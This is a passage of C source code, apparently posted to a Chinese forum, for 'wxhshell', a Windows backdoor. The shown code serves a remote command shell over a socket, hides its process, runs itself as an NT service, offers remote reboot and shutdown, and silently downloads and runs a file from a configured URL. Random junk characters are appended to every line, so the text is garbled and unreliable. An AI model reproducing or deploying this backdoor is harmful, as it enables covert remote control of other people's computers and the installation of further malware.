  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D.} b<kDD  
  } x(~l[hT  
  else { l@ K<p  
x@)u:0  
    switch(cmd[0]) { HmKE>C/  
  ySZ)yT  
  // 帮助 5 Da( DA  
  case '?': { Dr<Bd;)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u8QX2|  
    break; "M]]H^r5  
  } `pr,lL  
  // 安装 j7zQ&ANF  
  case 'i': { D1a4+AyI  
    if(Install()) vbU{Et\ ^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !k^\`jMzw  
    else 'UKB pm/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nt?B(.G  
    break; b7/4~_s  
    } ZhU2z*qN#  
  // 卸载 }^t?v*kcA  
  case 'r': { 5q[@N  J  
    if(Uninstall()) N 2\,6<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1^mO"nX  
    else (H7q[UG|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vow+,,oh  
    break; HV?@MBM  
    } h";sQ'us  
  // 显示 wxhshell 所在路径 5Z'pMkn3  
  case 'p': { tee%E=P  
    char svExeFile[MAX_PATH]; uU0'y4=  
    strcpy(svExeFile,"\n\r"); &H6Fkza;4  
      strcat(svExeFile,ExeFile); (J;<&v}Gad  
        send(wsh,svExeFile,strlen(svExeFile),0); :1Ay_ b_J  
    break; 4T" P #)z  
    } *(J<~:V?  
  // 重启 ;S/fe(C   
  case 'b': { .W\Fa2}%av  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Om*Dy}  
    if(Boot(REBOOT)) uWSG+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a,.9eHf  
    else { wS GUNP9  
    closesocket(wsh); Zx6BK=4G  
    ExitThread(0); B(hNBq7  
    } .+.Pc_fv  
    break; Im2g2 ]  
    } i*3'O:Gq  
  // 关机 a[!':-R`s  
  case 'd': { YGB|6p(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /@K?W=w4  
    if(Boot(SHUTDOWN)) :hr%iu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8@!SM  
    else { ouuj d~b+  
    closesocket(wsh); H3JWf MlW  
    ExitThread(0); RAvV[QkT  
    } 1-`8v[S  
    break; &Ef'5  
    } \|kU{d0  
  // 获取shell .[7m4iJf  
  case 's': { Kgcg:r:  
    CmdShell(wsh); `C3F?Lch  
    closesocket(wsh); ~b e&T:7.  
    ExitThread(0); `#~@f!';  
    break; 7J)-WXk  
  } /}V9*mD2  
  // 退出 C]}0h!_V  
  case 'x': { ]0o78(/w2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T ^uBMDYe  
    CloseIt(wsh); fYpy5vc-dm  
    break; q^gd1K<N  
    } 8I*fPf  
  // 离开 x\lua  
  case 'q': { &" =inkh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v+Hu=RZE  
    closesocket(wsh); r*$KF!-dg  
    WSACleanup(); %gN8-~$ 1  
    exit(1); w1.~N`g$  
    break; |@ia(U~  
        } NWFZ:h@v  
  } I3A](`  
  } >[[< 5$,T  
"p<f#s}  
  // 提示信息 wI)W:mUZZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]RV6( |U4_  
} 3=` UX  
  } K}6}Opr,Tt  
0&<{o!>k  
  return; O\x Uv  
} 7#Mi`W  
-)w/nq  
// shell模块句柄 avdi9!J2  
int CmdShell(SOCKET sock) rLp0VKPe  
{ B4|3@X0(  
STARTUPINFO si; 'EXp[*  
ZeroMemory(&si,sizeof(si)); I\":L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \;4RD$J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; RP6QS)|  
PROCESS_INFORMATION ProcessInfo; q0Fy$e]u  
char cmdline[]="cmd"; WKP=[o^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iidK}<o  
  return 0; =*t)@bn  
} rN OwB2e  
=5+:<e,&  
// 自身启动模式 M}HGFN  
int StartFromService(void) xHHG| u  
{ U4%P0}q/  
typedef struct o;}o"-s  
{ oA`Ncu5  
  DWORD ExitStatus; pj'Yv  
  DWORD PebBaseAddress; ="MG>4j3.F  
  DWORD AffinityMask; zvE]4}VL?  
  DWORD BasePriority; n{|~x":9V  
  ULONG UniqueProcessId; :[! rj  
  ULONG InheritedFromUniqueProcessId; iX}EJD{f  
}   PROCESS_BASIC_INFORMATION; Nq-qks.&  
od$Cm5  
PROCNTQSIP NtQueryInformationProcess; I/t2c=f  
s+,JwV?b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; NU81 V0:jG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @N34 Q-l  
h%Bp%Y9  
  HANDLE             hProcess; )%P!<|s:5  
  PROCESS_BASIC_INFORMATION pbi; ZfoI7<?33  
&!_ >J0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nD|Bo 9  
  if(NULL == hInst ) return 0; ?z p$Wz;k  
 zoA]7pG-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1Z|q0-Dw0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7N 7W0Ky  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L -<!,CASW  
ZxY%x/K  
  if (!NtQueryInformationProcess) return 0; Ee^2stc-  
XXvM*"3D5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -:Yx1Y3 [  
  if(!hProcess) return 0; 1#6c sZW5  
:D;BA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eWE7>kwh  
624l5}@:  
  CloseHandle(hProcess); ELPzqBI  
5!-'~W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :(E.sT "R  
if(hProcess==NULL) return 0; '8PZmS8X9  
sZA7)Z`7  
HMODULE hMod; fn;`Vit#  
char procName[255]; l'm!e'7_  
unsigned long cbNeeded; PIl:z?q({  
g=Rl4F]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]9F$/M#  
xbsp[0I,  
  CloseHandle(hProcess); yO.q{|kX  
l*^c?lp)  
if(strstr(procName,"services")) return 1; // 以服务启动 u8 Q`la  
M:rE^El  
  return 0; // 注册表启动 &( aw  
} .7_<0&kW  
6C7|e00v  
// 主模块 <>%2HRn<u  
int StartWxhshell(LPSTR lpCmdLine) M*<Ee]u  
{ AhWcJD]  
  SOCKET wsl; 2Jm#3zFYz3  
BOOL val=TRUE; @vs+)aRa  
  int port=0; tFn_{fCc>  
  struct sockaddr_in door; 4zzJ5,S1  
gLy1*k4  
  if(wscfg.ws_autoins) Install(); }fU"s"  
Lk#8G>U  
port=atoi(lpCmdLine); "V'<dn  
sQwRlx  
if(port<=0) port=wscfg.ws_port; D?A3p6%  
Y?IvG&])  
  WSADATA data; wkc)2z   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }xJ ).D  
)&Af[m S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zO)Bf(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4sMA'fG  
  door.sin_family = AF_INET; &!N9.e:-]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %0&59q]LM  
  door.sin_port = htons(port); J;wDvt]]1  
WstX>+?'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3:qn\"Hj  
closesocket(wsl); =e*S h0dK  
return 1; hX4 V}kj  
} E7 mB=bt>=  
\3q Z0  
  if(listen(wsl,2) == INVALID_SOCKET) { a!guZUg6  
closesocket(wsl); jJbS{1z  
return 1; D6N 32q@  
} mH6\8I  
  Wxhshell(wsl); (_IPz)F  
  WSACleanup(); ZB+~0[C  
VRE[ vM'  
return 0; v-(dh5e` H  
PJ -g.0q  
} uidoz f2}  
`]F}O \H  
// 以NT服务方式启动 M,w5F5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $/J4?Wik  
{ ;x,yGb`  
DWORD   status = 0; ^J~5k,7jX  
  DWORD   specificError = 0xfffffff; L+ K,Y:D!W  
Tji*\<?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,B2p\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *jCHv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &a8%j+j  
  serviceStatus.dwWin32ExitCode     = 0; zt!)7HBo  
  serviceStatus.dwServiceSpecificExitCode = 0; =W[M=_0u  
  serviceStatus.dwCheckPoint       = 0; ~`yO@f;D  
  serviceStatus.dwWaitHint       = 0; T0|hp7WM  
kltorlH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); JO-FnoQK  
  if (hServiceStatusHandle==0) return; ,eSII2,r4  
,,8'29yEq  
status = GetLastError(); bt'lT  
  if (status!=NO_ERROR) tZ>'tE   
{ {c}n."`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H"NBjVRU%  
    serviceStatus.dwCheckPoint       = 0; JCjV,  
    serviceStatus.dwWaitHint       = 0; cB0"vbdO  
    serviceStatus.dwWin32ExitCode     = status; -J":'xCP!  
    serviceStatus.dwServiceSpecificExitCode = specificError; WU\Bs2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =I8^E\O("  
    return; _J&IL!S2  
  } >c)-o}bd^  
^UmhSxQ##  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \ v2-}jU(  
  serviceStatus.dwCheckPoint       = 0; @Ta0v:Y  
  serviceStatus.dwWaitHint       = 0; x~?|bnM#3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \ lW*.<  
} T-F8[dd^/  
:d1Kq _\K  
// 处理NT服务事件,比如:启动、停止 lk4U/:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^]k=*>{ R  
{ h^v+d*R N  
switch(fdwControl) E3V_qT8  
{ 'i:S=E F  
case SERVICE_CONTROL_STOP: f]NaQ!. 7  
  serviceStatus.dwWin32ExitCode = 0; xey?.2K1A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; * `3+x  
  serviceStatus.dwCheckPoint   = 0; w&e q *q  
  serviceStatus.dwWaitHint     = 0; *4y0Hq  
  { ?>Bt|[p:s)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]|QA`5=$  
  } O:j=L{,d^  
  return; q|_Cj]{  
case SERVICE_CONTROL_PAUSE: o0kKf+[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +2#pP  
  break; %Y=  
case SERVICE_CONTROL_CONTINUE: Hy1pIUsx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~,m5dP#[bV  
  break; Um!LF"Z  
case SERVICE_CONTROL_INTERROGATE: |Hv8GT  
  break; ;"2(e7ir  
}; )1/J5DI @8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _};T:GOT  
} F;ELsg  
Dco3`4pl  
// 标准应用程序主函数 i4<n#]1!t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !-Uq#Ea0/  
{ G&q@B`I  
:gM_v?sy  
// 获取操作系统版本 ts &sr  
OsIsNt=GetOsVer(); 9w<k1j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~pw%p77)  
{# N,&?[  
  // 从命令行安装 H<Zs2DP`  
  if(strpbrk(lpCmdLine,"iI")) Install(); v*&WqVg  
s+9b.  
  // 下载执行文件 0Wb3M"#9<  
if(wscfg.ws_downexe) { YK V"bI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (m() r0:@  
  WinExec(wscfg.ws_filenam,SW_HIDE); a?X #G/)  
} :0% $u>;O:  
vv1W<X0e<  
if(!OsIsNt) { @4wN-T+1  
// 如果时win9x,隐藏进程并且设置为注册表启动 $aY:Z_s  
HideProc(); DfZ)gqp/Av  
StartWxhshell(lpCmdLine); \|7Y"WEQ  
} pnGDM)H7  
else Y'?{yx{  
  if(StartFromService()) K7},X01^  
  // 以服务方式启动 ub-vtRpm  
  StartServiceCtrlDispatcher(DispatchTable); *#Iqz9X.Y3  
else =c#;c+a  
  // 普通方式启动 ^,#MfF6  
  StartWxhshell(lpCmdLine); "|GX%> /  
m88[(l  
return 0; pAH 9  
}
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只看该作者 1 发表于: 2006-10-10
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